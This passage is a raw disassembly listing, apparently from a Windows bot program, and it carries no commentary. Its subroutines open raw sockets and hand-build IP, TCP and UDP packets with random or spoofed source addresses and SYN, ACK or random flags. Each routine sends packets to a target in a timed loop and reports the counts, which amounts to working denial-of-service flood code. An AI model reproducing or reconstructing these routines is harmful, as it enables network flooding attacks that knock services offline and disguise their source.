ecx cdq idiv edi pop edi pop esi pop ebx retn sub_41459E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4145F8 proc near ; DATA XREF: sub_401CC7+6EC5o Dest = byte ptr -394h var_194 = dword ptr -194h var_190 = byte ptr -190h Str = byte ptr -110h var_90 = byte ptr -90h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 394h mov eax, [ebp+arg_0] push esi push edi push 65h pop ecx mov esi, eax lea edi, [ebp+var_194] rep movsd mov dword ptr [eax+190h], 1 lea eax, [ebp+Str] push eax ; Str call _atoi pop ecx push eax lea eax, [ebp+var_190] push eax call dword_4E3138 ; inet_addr push eax call sub_41469B pop ecx pop ecx push eax lea eax, [ebp+Dest] push offset asc_44CE68 ; "-" push eax ; Dest call _sprintf xor esi, esi add esp, 0Ch cmp [ebp+var_8], esi jnz short loc_41467C push esi ; int lea eax, [ebp+Dest] push [ebp+var_C] ; int push eax ; int lea eax, [ebp+var_90] push eax ; Str push [ebp+var_194] ; int call sub_409D34 add esp, 14h loc_41467C: ; CODE XREF: sub_4145F8+62j lea eax, [ebp+Dest] push eax call sub_415C3F push [ebp+var_10] call sub_40BA72 pop ecx pop ecx push esi call ds:dword_4F53A0 ; ExitThread pop edi pop esi sub_4145F8 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41469B proc near ; CODE XREF: sub_4145F8+41p var_98 = word ptr -98h var_96 = word ptr -96h var_94 = dword ptr -94h var_88 = dword ptr -88h var_84 = dword ptr -84h var_80 = dword ptr -80h var_7C = dword ptr -7Ch var_78 = dword ptr -78h var_74 = dword ptr -74h var_70 = dword ptr -70h var_6C = dword ptr -6Ch var_68 = dword ptr -68h var_64 = dword ptr -64h var_60 = dword ptr -60h var_5C = dword ptr -5Ch var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h Src = byte ptr -24h var_23 = byte ptr -23h var_22 = word ptr -22h var_20 = word ptr -20h var_1E = word ptr -1Eh var_1C = byte ptr -1Ch var_1B = byte ptr -1Bh var_1A = word ptr -1Ah var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch Memory = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 98h push ebx push esi push edi push 1 pop ecx and [ebp+var_88], 0 push 4 and [ebp+var_58], 0 pop esi mov ebx, 0FFh push 6 xor eax, eax pop edx lea edi, [ebp+var_54] mov [ebp+var_84], ecx mov [ebp+var_80], 2 mov [ebp+var_7C], esi mov [ebp+var_78], edx mov [ebp+var_74], 8 mov [ebp+var_70], 0Ch mov [ebp+var_6C], 11h mov [ebp+var_68], 16h mov [ebp+var_64], 29h mov [ebp+var_60], 3Ah mov [ebp+var_5C], ebx mov [ebp+var_50], eax stosd lea edi, [ebp+var_2C] mov [ebp+var_4C], eax mov [ebp+var_48], eax mov [ebp+var_44], 2000h mov [ebp+var_40], esi mov [ebp+var_3C], edx mov [ebp+var_38], 3FFFh mov [ebp+var_34], ecx mov [ebp+var_30], eax mov [ebp+var_28], ecx stosd mov edi, 100h push edi ; unsigned int call ??2@YAPAXI@Z ; operator new(uint) pop ecx mov [ebp+var_4], eax push edi push eax call dword_4E310C ; gethostname push [ebp+var_4] call dword_4E317C ; gethostbyname mov eax, [eax+0Ch] push ebx push 3 push 2 mov eax, [eax] mov eax, [eax] mov [ebp+var_C], eax call dword_4E3178 ; socket lea ecx, [ebp+var_28] push esi push ecx push 2 push 0 push eax mov [ebp+var_4], eax call dword_4E30D8 ; setsockopt mov esi, 200h push esi ; Size call _malloc mov edi, ds:dword_4F537C pop ecx mov [ebp+Memory], eax call edi ; GetTickCount mov [ebp+var_10], eax mov eax, [ebp+arg_0] push 29Ah mov [ebp+var_94], eax mov [ebp+var_98], 2 call dword_4E30F8 ; htons mov [ebp+var_96], ax loc_4147B6: ; CODE XREF: sub_41469B+1FCj call edi ; GetTickCount sub eax, [ebp+var_10] xor edx, edx mov ecx, 3E8h div ecx cmp eax, [ebp+arg_4] ja loc_41489C call _rand cdq mov ecx, ebx idiv ecx mov eax, [ebp+var_C] and eax, 0FFFFFFh shl edx, 18h or edx, eax mov [ebp+var_C], edx call _rand cdq mov ecx, ebx idiv ecx mov [ebp+var_54], edx call _rand cdq mov ecx, 1FA4h mov [ebp+Src], 45h idiv ecx mov [ebp+var_23], 4 mov [ebp+var_2C], edx call _rand mov [ebp+var_20], ax call _rand push 0Ah cdq pop ecx idiv ecx mov ax, word ptr [ebp+edx*4+var_50] push eax call dword_4E30F8 ; htons push esi mov [ebp+var_1E], ax call dword_4E30F8 ; htons mov [ebp+var_22], ax mov [ebp+var_1C], bl call _rand push 0Eh cdq pop ecx idiv ecx push 14h mov al, byte ptr [ebp+edx*4+var_88] mov [ebp+var_1B], al mov eax, [ebp+var_C] mov [ebp+var_18], eax mov eax, [ebp+arg_0] mov [ebp+var_14], eax lea eax, [ebp+Src] push eax call sub_40AFCA mov [ebp+var_1A], ax lea eax, [ebp+Src] push 14h ; Size push eax ; Src push [ebp+Memory] ; Dst call _memcpy add esp, 14h lea eax, [ebp+var_98] push 10h push eax push 0 push esi push [ebp+Memory] push [ebp+var_4] call dword_4E315C ; sendto jmp loc_4147B6 ; --------------------------------------------------------------------------- loc_41489C: ; CODE XREF: sub_41469B+12Cj push [ebp+Memory] ; Memory call _free pop ecx push [ebp+var_4] call dword_4E3190 ; closesocket push 1 pop eax pop edi pop esi pop ebx leave retn sub_41469B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4148B6 proc near ; DATA XREF: sub_401CC7+5469o Dest = byte ptr -440h var_240 = dword ptr -240h var_23C = byte ptr -23Ch Str = byte ptr -1BCh var_13C = byte ptr -13Ch var_BC = dword ptr -0BCh var_B8 = dword ptr -0B8h var_B4 = dword ptr -0B4h var_B0 = dword ptr -0B0h var_AC = dword ptr -0ACh var_A8 = dword ptr -0A8h var_A0 = byte ptr -0A0h var_9F = byte ptr -9Fh var_8C = byte ptr -8Ch var_80 = byte ptr -80h var_78 = byte ptr -78h Src = dword ptr -64h var_60 = dword ptr -60h var_5C = byte ptr -5Ch var_5B = byte ptr -5Bh var_5A = word ptr -5Ah Dst = word ptr -44h var_42 = word ptr -42h var_40 = dword ptr -40h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = byte ptr -2Ch var_2A = word ptr -2Ah var_28 = word ptr -28h var_26 = word ptr -26h var_24 = byte ptr -24h var_23 = byte ptr -23h var_22 = word ptr -22h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = word ptr -18h var_16 = word ptr -16h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = byte ptr -0Ch var_B = byte ptr -0Bh var_A = word ptr -0Ah var_8 = word ptr -8 var_6 = word ptr -6 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 440h mov eax, [ebp+arg_0] push ebx push esi push edi push 68h mov esi, eax pop ecx lea edi, [ebp+var_240] rep movsd push 1 xor ebx, ebx pop esi lea edi, [ebp+var_9F] push 0Eh mov [eax+19Ch], esi pop ecx xor eax, eax mov [ebp+var_A0], bl rep stosd stosw stosb mov edi, ds:dword_4F537C call edi ; GetTickCount push eax ; Seed call _srand pop ecx push 0FFh push 3 push 2 call dword_4E3178 ; socket cmp eax, 0FFFFFFFFh mov [ebp+var_4], eax jnz short loc_41497F call dword_4E308C ; WSAGetLastError push eax lea eax, [ebp+Dest] push offset asc_44CE88 ; "-" push eax ; Dest call _sprintf add esp, 0Ch cmp [ebp+var_A8], ebx jnz short loc_41495F push ebx ; int lea eax, [ebp+Dest] push [ebp+var_AC] ; int push eax ; int lea eax, [ebp+var_13C] push eax ; Str push [ebp+var_240] ; int call sub_409D34 add esp, 14h loc_41495F: ; CODE XREF: sub_4148B6+84j lea eax, [ebp+Dest] push eax call sub_415C3F push [ebp+var_BC] call sub_40BA72 pop ecx pop ecx push ebx call ds:dword_4F53A0 ; ExitThread loc_41497F: ; CODE XREF: sub_4148B6+61j lea ecx, [ebp+var_34] push 4 push ecx push 2 push ebx push eax mov [ebp+var_34], esi call dword_4E30D8 ; setsockopt cmp eax, 0FFFFFFFFh jnz short loc_4149FD call dword_4E308C ; WSAGetLastError push eax lea eax, [ebp+Dest] push offset asc_44CEBC ; "-" push eax ; Dest call _sprintf add esp, 0Ch cmp [ebp+var_A8], ebx jnz short loc_4149DD push ebx ; int lea eax, [ebp+Dest] push [ebp+var_AC] ; int push eax ; int lea eax, [ebp+var_13C] push eax ; Str push [ebp+var_240] ; int call sub_409D34 add esp, 14h loc_4149DD: ; CODE XREF: sub_4148B6+102j lea eax, [ebp+Dest] push eax call sub_415C3F push [ebp+var_BC] call sub_40BA72 pop ecx pop ecx push ebx call ds:dword_4F53A0 ; ExitThread loc_4149FD: ; CODE XREF: sub_4148B6+DFj lea eax, [ebp+var_23C] push eax call dword_4E3138 ; inet_addr cmp eax, 0FFFFFFFFh jnz short loc_414A6D lea eax, [ebp+Dest] push offset asc_44CEF4 ; "-" push eax ; Dest call _sprintf cmp [ebp+var_A8], ebx pop ecx pop ecx jnz short loc_414A4D push ebx ; int lea eax, [ebp+Dest] push [ebp+var_AC] ; int push eax ; int lea eax, [ebp+var_13C] push eax ; Str push [ebp+var_240] ; int call sub_409D34 add esp, 14h loc_414A4D: ; CODE XREF: sub_4148B6+172j lea eax, [ebp+Dest] push eax call sub_415C3F push [ebp+var_BC] call sub_40BA72 pop ecx pop ecx push ebx call ds:dword_4F53A0 ; ExitThread loc_414A6D: ; CODE XREF: sub_4148B6+157j push 10h ; Size lea eax, [ebp+Dst] push ebx ; Val push eax ; Dst call _memset add esp, 0Ch mov [ebp+Dst], 2 push ebx call dword_4E30F8 ; htons mov [ebp+var_42], ax lea eax, [ebp+var_23C] push eax call dword_4E3138 ; inet_addr mov [ebp+var_40], eax mov [ebp+arg_0], ebx call edi ; GetTickCount mov [ebp+var_30], eax loc_414AA5: ; CODE XREF: sub_4148B6+430j call edi ; GetTickCount sub eax, [ebp+var_30] xor edx, edx mov ecx, 3E8h div ecx cmp eax, [ebp+var_B4] ja loc_414D69 push 28h mov [ebp+var_2C], 45h call dword_4E30F8 ; htons cmp [ebp+var_B0], ebx mov [ebp+var_2A], ax mov [ebp+var_28], si mov [ebp+var_26], bx mov [ebp+var_24], 80h mov [ebp+var_23], 6 mov [ebp+var_22], bx jz short loc_414B18 call _rand mov esi, eax shl esi, 8 call _rand add esi, eax shl esi, 8 call _rand add esi, eax shl esi, 8 call _rand add esi, eax push 1 mov [ebp+var_20], esi pop esi jmp short loc_414B2E ; --------------------------------------------------------------------------- loc_414B18: ; CODE XREF: sub_4148B6+233j push [ebp+var_240] call sub_40AF71 pop ecx push eax call dword_4E3138 ; inet_addr mov [ebp+var_20], eax loc_414B2E: ; CODE XREF: sub_4148B6+260j mov eax, [ebp+var_40] cmp [ebp+var_B8], ebx mov [ebp+var_1C], eax jnz short loc_414B4C call _rand cdq mov ecx, 401h idiv ecx push edx jmp short loc_414B52 ; --------------------------------------------------------------------------- loc_414B4C: ; CODE XREF: sub_4148B6+284j push [ebp+var_B8] loc_414B52: ; CODE XREF: sub_4148B6+294j call dword_4E30F8 ; htons mov [ebp+var_16], ax call _rand cdq mov ecx, 401h idiv ecx push edx call dword_4E30F8 ; htons push 12345678h mov [ebp+var_18], ax call dword_4E30F4 ; htonl mov [ebp+var_14], eax lea eax, [ebp+Str] push offset aSyn_1 ; "syn" push eax ; Str call _strstr pop ecx test eax, eax pop ecx jz short loc_414BA2 mov [ebp+var_10], ebx mov [ebp+var_B], 2 jmp short loc_414BFE ; --------------------------------------------------------------------------- loc_414BA2: ; CODE XREF: sub_4148B6+2E1j lea eax, [ebp+Str] push offset aAck_0 ; "ack" push eax ; Str call _strstr pop ecx test eax, eax pop ecx jz short loc_414BC2 mov [ebp+var_10], ebx mov [ebp+var_B], 10h jmp short loc_414BFE ; --------------------------------------------------------------------------- loc_414BC2: ; CODE XREF: sub_4148B6+301j lea eax, [ebp+Str] push offset aRandom_2 ; "random" push eax ; Str call _strstr pop ecx test eax, eax pop ecx jz short loc_414BFE call _rand push 3 cdq pop ecx idiv ecx mov [ebp+var_10], edx call _rand push 2 cdq pop ecx idiv ecx neg edx sbb dl, dl and dl, 0Eh add dl, cl mov [ebp+var_B], dl loc_414BFE: ; CODE XREF: sub_4148B6+2EAj ; sub_4148B6+30Aj ... push 200h mov [ebp+var_C], 50h call dword_4E30F8 ; htons mov [ebp+var_A], ax mov eax, [ebp+var_20] mov [ebp+Src], eax mov eax, [ebp+var_1C] push 14h mov [ebp+var_6], bx mov [ebp+var_8], bx mov [ebp+var_60], eax mov [ebp+var_5C], bl mov [ebp+var_5B], 6 call dword_4E30F8 ; htons mov [ebp+var_5A], ax lea eax, [ebp+Src] push 20h ; Size push eax ; Src lea eax, [ebp+var_A0] push eax ; Dst call _memcpy lea eax, [ebp+var_18] push 14h ; Size push eax ; Src lea eax, [ebp+var_80] push eax ; Dst call _memcpy lea eax, [ebp+var_A0] push 34h push eax call sub_40AFCA mov [ebp+var_8], ax lea eax, [ebp+var_2C] push 14h ; Size push eax ; Src lea eax, [ebp+var_A0] push eax ; Dst call _memcpy lea eax, [ebp+var_18] push 14h ; Size push eax ; Src lea eax, [ebp+var_8C] push eax ; Dst call _memcpy push 4 ; Size lea eax, [ebp+var_78] push ebx ; Val push eax ; Dst call _memset add esp, 44h lea eax, [ebp+var_A0] push 28h push eax call sub_40AFCA mov [ebp+var_22], ax lea eax, [ebp+var_2C] push 14h ; Size push eax ; Src lea eax, [ebp+var_A0] push eax ; Dst call _memcpy add esp, 14h lea eax, [ebp+Dst] push 10h push eax push ebx lea eax, [ebp+var_A0] push 3Ch push eax push [ebp+var_4] call dword_4E315C ; sendto cmp eax, 0FFFFFFFFh jz short loc_414CEB inc [ebp+arg_0] jmp loc_414AA5 ; --------------------------------------------------------------------------- loc_414CEB: ; CODE XREF: sub_4148B6+42Bj push [ebp+var_4] call dword_4E3190 ; closesocket call dword_4E308C ; WSAGetLastError push eax lea eax, [ebp+var_23C] push [ebp+arg_0] push eax push offset asc_44CF24 ; "-" lea eax, [ebp+Dest] push 200h ; Count push eax ; Dest call __snprintf add esp, 18h cmp [ebp+var_A8], ebx jnz short loc_414D49 push ebx ; int lea eax, [ebp+Dest] push [ebp+var_AC] ; int push eax ; int lea eax, [ebp+var_13C] push eax ; Str push [ebp+var_240] ; int call sub_409D34 add esp, 14h loc_414D49: ; CODE XREF: sub_4148B6+46Ej lea eax, [ebp+Dest] push eax call sub_415C3F push [ebp+var_BC] call sub_40BA72 pop ecx pop ecx push ebx call ds:dword_4F53A0 ; ExitThread loc_414D69: ; CODE XREF: sub_4148B6+203j push [ebp+var_4] call dword_4E3190 ; closesocket mov eax, [ebp+arg_0] xor edx, edx imul eax, 3Ch mov ecx, eax shr eax, 0Ah div [ebp+var_B4] shr ecx, 14h push ecx push eax lea eax, [ebp+var_23C] push [ebp+arg_0] push eax lea eax, [ebp+Str] push eax lea eax, [ebp+Dest] push offset asc_44CF74 ; "-" push eax ; Dest call _sprintf add esp, 1Ch cmp [ebp+var_A8], ebx jnz short loc_414DDA push ebx ; int lea eax, [ebp+Dest] push [ebp+var_AC] ; int push eax ; int lea eax, [ebp+var_13C] push eax ; Str push [ebp+var_240] ; int call sub_409D34 add esp, 14h loc_414DDA: ; CODE XREF: sub_4148B6+4FFj lea eax, [ebp+Dest] push eax call sub_415C3F push [ebp+var_BC] call sub_40BA72 pop ecx pop ecx push ebx call ds:dword_4F53A0 ; ExitThread sub_4148B6 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_414DFA proc near ; CODE XREF: sub_414F04+19Ap ; sub_414F04+1A9p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov eax, [ebp+arg_4] mov edx, [ebp+arg_0] push esi xor esi, esi cmp eax, 1 mov [ebp+arg_4], esi jle short loc_414E26 mov ecx, eax push edi shr ecx, 1 lea edi, [ecx+ecx] sub eax, edi loc_414E18: ; CODE XREF: sub_414DFA+26j movzx edi, word ptr [edx] add esi, edi inc edx inc edx dec ecx jnz short loc_414E18 pop edi cmp eax, 1 loc_414E26: ; CODE XREF: sub_414DFA+12j jnz short loc_414E33 mov al, [edx] mov byte ptr [ebp+arg_4], al movzx eax, word ptr [ebp+arg_4] add esi, eax loc_414E33: ; CODE XREF: sub_414DFA:loc_414E26j mov ecx, esi and esi, 0FFFFh sar ecx, 10h add ecx, esi pop esi mov eax, ecx sar eax, 10h add eax, ecx not eax pop ebp retn sub_414DFA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_414E4C proc near ; DATA XREF: sub_401CC7+6DCAo Dest = byte ptr -394h var_194 = dword ptr -194h var_190 = byte ptr -190h Str = byte ptr -110h var_90 = byte ptr -90h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 394h mov eax, [ebp+arg_0] push esi push edi push 65h pop ecx mov esi, eax lea edi, [ebp+var_194] rep movsd mov dword ptr [eax+190h], 1 lea eax, [ebp+Str] push eax ; Str call _atoi pop ecx push eax lea eax, [ebp+var_190] push eax call dword_4E3138 ; inet_addr push eax lea esi, [ebp+var_194] sub esp, 194h push 65h pop ecx mov edi, esp rep movsd call sub_414F04 add esp, 19Ch push eax lea eax, [ebp+Dest] push offset asc_44CFC4 ; "-" push eax ; Dest call _sprintf xor esi, esi add esp, 0Ch cmp [ebp+var_8], esi jnz short loc_414EE7 push esi ; int lea eax, [ebp+Dest] push [ebp+var_C] ; int push eax ; int lea eax, [ebp+var_90] push eax ; Str push [ebp+var_194] ; int call sub_409D34 add esp, 14h loc_414EE7: ; CODE XREF: sub_414E4C+79j lea eax, [ebp+Dest] push eax call sub_415C3F push [ebp+var_10] call sub_40BA72 pop ecx pop ecx push esi call ds:dword_4F53A0 ; ExitThread sub_414E4C endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_414F04 proc near ; CODE XREF: sub_414E4C+54p Dest = byte ptr -0CCh var_AC = dword ptr -0ACh var_A8 = dword ptr -0A8h var_A4 = byte ptr -0A4h var_A3 = byte ptr -0A3h var_A2 = word ptr -0A2h Src = byte ptr -0A0h var_8C = byte ptr -8Ch var_78 = word ptr -78h var_76 = word ptr -76h var_74 = dword ptr -74h var_68 = byte ptr -68h var_64 = byte ptr -64h var_63 = byte ptr -63h var_62 = byte ptr -62h var_58 = dword ptr -58h var_54 = byte ptr -54h var_52 = word ptr -52h var_50 = word ptr -50h var_4E = word ptr -4Eh var_4C = byte ptr -4Ch var_4B = byte ptr -4Bh var_4A = word ptr -4Ah var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = word ptr -40h var_3E = word ptr -3Eh var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = word ptr -30h var_2E = word ptr -2Eh var_2C = word ptr -2Ch Dst = byte ptr -28h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_194 = dword ptr 19Ch arg_198 = dword ptr 1A0h push ebp mov ebp, esp sub esp, 0CCh push ebx push esi mov esi, ds:dword_4F537C xor ebx, ebx push edi mov [ebp+var_4], ebx call esi ; GetTickCount push 0FFh push 3 push 2 mov [ebp+var_10], eax call dword_4E3178 ; socket mov [ebp+var_8], eax call esi ; GetTickCount push eax ; Seed call _srand pop ecx mov edi, 578h push edi ; Size push 9 push 1 call sub_419551 pop ecx pop ecx push eax ; Val lea eax, [ebp+Dst] push eax ; Dst call _memset add esp, 0Ch mov esi, 5A0h loc_414F5E: ; CODE XREF: sub_414F04+235j call ds:dword_4F537C ; GetTickCount sub eax, [ebp+var_10] xor edx, edx mov ecx, 3E8h div ecx cmp eax, [ebp+arg_198] ja loc_41513E cmp dword_4E68F0, ebx jnz short loc_414FDD push 10h pop eax mov [ebp+var_14], eax push eax ; Size lea eax, [ebp+var_68] push ebx ; Val push eax ; Dst call _memset add esp, 0Ch lea eax, [ebp+var_14] push eax lea eax, [ebp+var_68] push eax push [ebp+arg_0] call dword_4E309C ; getsockname push 0FFh push 1 call sub_419551 pop ecx pop ecx push eax movzx eax, [ebp+var_62] push eax movzx eax, [ebp+var_63] push eax movzx eax, [ebp+var_64] push eax lea eax, [ebp+Dest] push offset aD_D_D_D_1 ; "%d.%d.%d.%d" push eax ; Dest call _sprintf add esp, 18h jmp short loc_414FF0 ; --------------------------------------------------------------------------- loc_414FDD: ; CODE XREF: sub_414F04+7Ej lea eax, [ebp+Dest] push offset byte_4E62D0 ; Source push eax ; Dest call _strcpy pop ecx pop ecx loc_414FF0: ; CODE XREF: sub_414F04+D7j lea eax, [ebp+Dest] push eax call dword_4E3138 ; inet_addr mov [ebp+var_C], eax mov eax, [ebp+var_58] and al, 45h push esi or al, 45h mov [ebp+var_54], 10h mov [ebp+var_58], eax call dword_4E30F8 ; htons mov [ebp+var_52], ax call _rand mov [ebp+var_50], ax mov eax, [ebp+var_C] mov [ebp+var_48], eax mov eax, [ebp+arg_194] mov [ebp+var_4E], 40h mov [ebp+var_4C], 40h mov [ebp+var_4B], 6 mov [ebp+var_4A], bx mov [ebp+var_44], eax call _rand mov [ebp+var_40], ax call _rand mov [ebp+var_3E], ax call _rand mov [ebp+var_3C], eax call _rand mov [ebp+var_38], eax mov eax, [ebp+var_34] and ax, 0FF50h push 14h or al, 50h mov byte ptr [ebp+var_34+2], 18h mov word ptr [ebp+var_34], ax mov ax, [ebp+var_3E] mov [ebp+var_76], ax mov eax, [ebp+var_44] mov [ebp+var_74], eax lea eax, [ebp+var_58] push eax mov [ebp+var_30], 787Dh mov [ebp+var_2E], bx mov [ebp+var_2C], bx mov [ebp+var_78], 2 call sub_414DFA mov [ebp+var_4A], ax lea eax, [ebp+var_58] push 28h push eax call sub_414DFA mov eax, [ebp+var_48] add esp, 10h mov [ebp+var_AC], eax mov eax, [ebp+var_44] push 58Ch mov [ebp+var_A8], eax mov [ebp+var_A4], bl mov [ebp+var_A3], 6 call ds:dword_4F552C ; htons mov [ebp+var_A2], ax lea eax, [ebp+Src] push 14h ; Size push eax ; Src lea eax, [ebp+var_40] push eax ; Dst call _memcpy lea eax, [ebp+var_8C] push edi ; Size push eax ; Src lea eax, [ebp+Dst] push eax ; Dst call _memcpy lea eax, [ebp+var_AC] push 598h push eax call sub_414DFA add esp, 20h mov [ebp+var_2E], ax push 10h lea eax, [ebp+var_78] push eax push ebx lea eax, [ebp+var_58] push esi push eax push [ebp+var_8] call dword_4E315C ; sendto inc [ebp+var_4] jmp loc_414F5E ; --------------------------------------------------------------------------- loc_41513E: ; CODE XREF: sub_414F04+72j push [ebp+var_8] call dword_4E3190 ; closesocket mov eax, [ebp+var_4] pop edi pop esi pop ebx leave retn sub_414F04 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41514F proc near ; DATA XREF: sub_401CC7+4D40o Dest = byte ptr -414h var_214 = byte ptr -214h var_10 = dword ptr -10h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 414h mov edx, [ebp+arg_0] push esi mov eax, 85h push edi mov ecx, eax mov esi, edx lea edi, [ebp+var_214] sub esp, 214h rep movsd mov ecx, eax lea esi, [ebp+var_214] mov edi, esp mov dword ptr [edx+210h], 1 rep movsd call sub_4151C6 add esp, 214h push eax lea eax, [ebp+Dest] push offset asc_44D004 ; "-" push eax ; Dest call _sprintf lea eax, [ebp+Dest] push eax call sub_415C3F push [ebp+var_10] call sub_40BA72 add esp, 14h push 0 call ds:dword_4F53A0 ; ExitThread sub_41514F endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_4151C6(int,char,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,char,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,char Str,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,char,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int) sub_4151C6 proc near ; CODE XREF: sub_41514F+3Bp Dest = byte ptr -254h var_54 = byte ptr -54h Dst = byte ptr -34h var_30 = byte ptr -30h var_2F = byte ptr -2Fh var_2E = byte ptr -2Eh var_24 = word ptr -24h var_22 = word ptr -22h var_20 = dword ptr -20h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch arg_84 = byte ptr 8Ch Str = byte ptr 10Ch arg_184 = byte ptr 18Ch arg_208 = dword ptr 210h arg_20C = dword ptr 214h push ebp mov ebp, esp sub esp, 254h push ebx push esi mov ebx, 0FFh push edi push ebx push 3 push 2 call dword_4E3178 ; socket cmp eax, 0FFFFFFFFh mov [ebp+var_C], eax jnz short loc_415204 lea eax, [ebp+Dest] push offset asc_44D044 ; "-" push eax ; Dest call _sprintf pop ecx xor edi, edi pop ecx jmp loc_4154CD ; --------------------------------------------------------------------------- loc_415204: ; CODE XREF: sub_4151C6+22j lea ecx, [ebp+var_14] push 4 push ecx xor edi, edi push 2 push edi push eax mov [ebp+var_14], 1 call dword_4E30D8 ; setsockopt cmp eax, 0FFFFFFFFh jnz short loc_415230 call dword_4E308C ; WSAGetLastError push eax push offset unk_44D070 jmp short loc_41524B ; --------------------------------------------------------------------------- loc_415230: ; CODE XREF: sub_4151C6+5Aj lea eax, [ebp+arg_4] push eax call dword_4E3138 ; inet_addr cmp eax, 0FFFFFFFFh jnz short loc_41525F call dword_4E308C ; WSAGetLastError push eax push offset asc_44D0C0 ; "-" loc_41524B: ; CODE XREF: sub_4151C6+68j lea eax, [ebp+Dest] push eax ; Dest call _sprintf add esp, 0Ch jmp loc_4154CD ; --------------------------------------------------------------------------- loc_41525F: ; CODE XREF: sub_4151C6+77j push edi mov [ebp+var_24], 2 call dword_4E30F8 ; htons mov [ebp+var_22], ax lea eax, [ebp+arg_4] push eax call ds:dword_4F5528 ; inet_addr mov esi, ds:dword_4F537C mov [ebp+var_20], eax call esi ; GetTickCount mov [ebp+var_8], eax lea eax, [ebp+arg_4] push eax lea eax, [ebp+Dest] push offset asc_44D104 ; "-" push eax ; Dest call _sprintf add esp, 0Ch cmp [ebp+arg_20C], edi jnz short loc_4152C8 push edi ; int lea eax, [ebp+Dest] push [ebp+arg_208] ; int push eax ; int lea eax, [ebp+arg_184] push eax ; Str push [ebp+arg_0] ; int call sub_409D34 add esp, 14h loc_4152C8: ; CODE XREF: sub_4151C6+E0j mov [ebp+var_4], edi call esi ; GetTickCount sub eax, [ebp+var_8] xor edx, edx mov ecx, 3E8h div ecx mov esi, eax lea eax, [ebp+Str] push eax ; Str call _atoi cmp esi, eax pop ecx ja loc_415483 mov esi, 41Ch jmp short loc_4152FC ; --------------------------------------------------------------------------- loc_4152F7: ; CODE XREF: sub_4151C6+2B7j mov ebx, 0FFh loc_4152FC: ; CODE XREF: sub_4151C6+12Fj cmp dword_4E68F0, edi jnz short loc_415356 push 10h pop eax mov [ebp+var_10], eax push eax ; Size lea eax, [ebp+Dst] push edi ; Val push eax ; Dst call _memset add esp, 0Ch lea eax, [ebp+var_10] push eax lea eax, [ebp+Dst] push eax push [ebp+arg_0] call dword_4E309C ; getsockname push ebx push 1 call sub_419551 pop ecx pop ecx push eax movzx eax, [ebp+var_2E] push eax movzx eax, [ebp+var_2F] push eax movzx eax, [ebp+var_30] push eax lea eax, [ebp+var_54] push offset aD_D_D_D_2 ; "%d.%d.%d.%d" push eax ; Dest call _sprintf add esp, 18h jmp short loc_415366 ; --------------------------------------------------------------------------- loc_415356: ; CODE XREF: sub_4151C6+13Cj lea eax, [ebp+var_54] push offset byte_4E62D0 ; Source push eax ; Dest call _strcpy pop ecx pop ecx loc_415366: ; CODE XREF: sub_4151C6+18Ej push esi mov byte_4E64D0, 45h call dword_4E30F8 ; htons mov word_4E64D2, ax lea eax, [ebp+var_54] push eax mov word_4E64D4, 1 mov word_4E64D6, di mov byte_4E64D8, 80h mov byte_4E64D9, 11h mov word_4E64DA, di call dword_4E3138 ; inet_addr mov dword_4E64DC, eax mov eax, [ebp+var_20] mov dword_4E64E0, eax lea eax, [ebp+arg_84] push eax ; Str mov word_4E64EA, di call _atoi test eax, eax pop ecx jnz short loc_4153DE call _rand cdq mov ecx, 401h idiv ecx push edx jmp short loc_4153EC ; --------------------------------------------------------------------------- loc_4153DE: ; CODE XREF: sub_4151C6+206j lea eax, [ebp+arg_84] push eax ; Str call _atoi pop ecx push eax loc_4153EC: ; CODE XREF: sub_4151C6+216j call dword_4E30F8 ; htons mov word_4E64E6, ax call _rand cdq mov ecx, 401h push 408h idiv ecx mov word_4E64E4, dx call dword_4E30F8 ; htons push 400h ; Size mov word_4E64E8, ax call _rand cdq 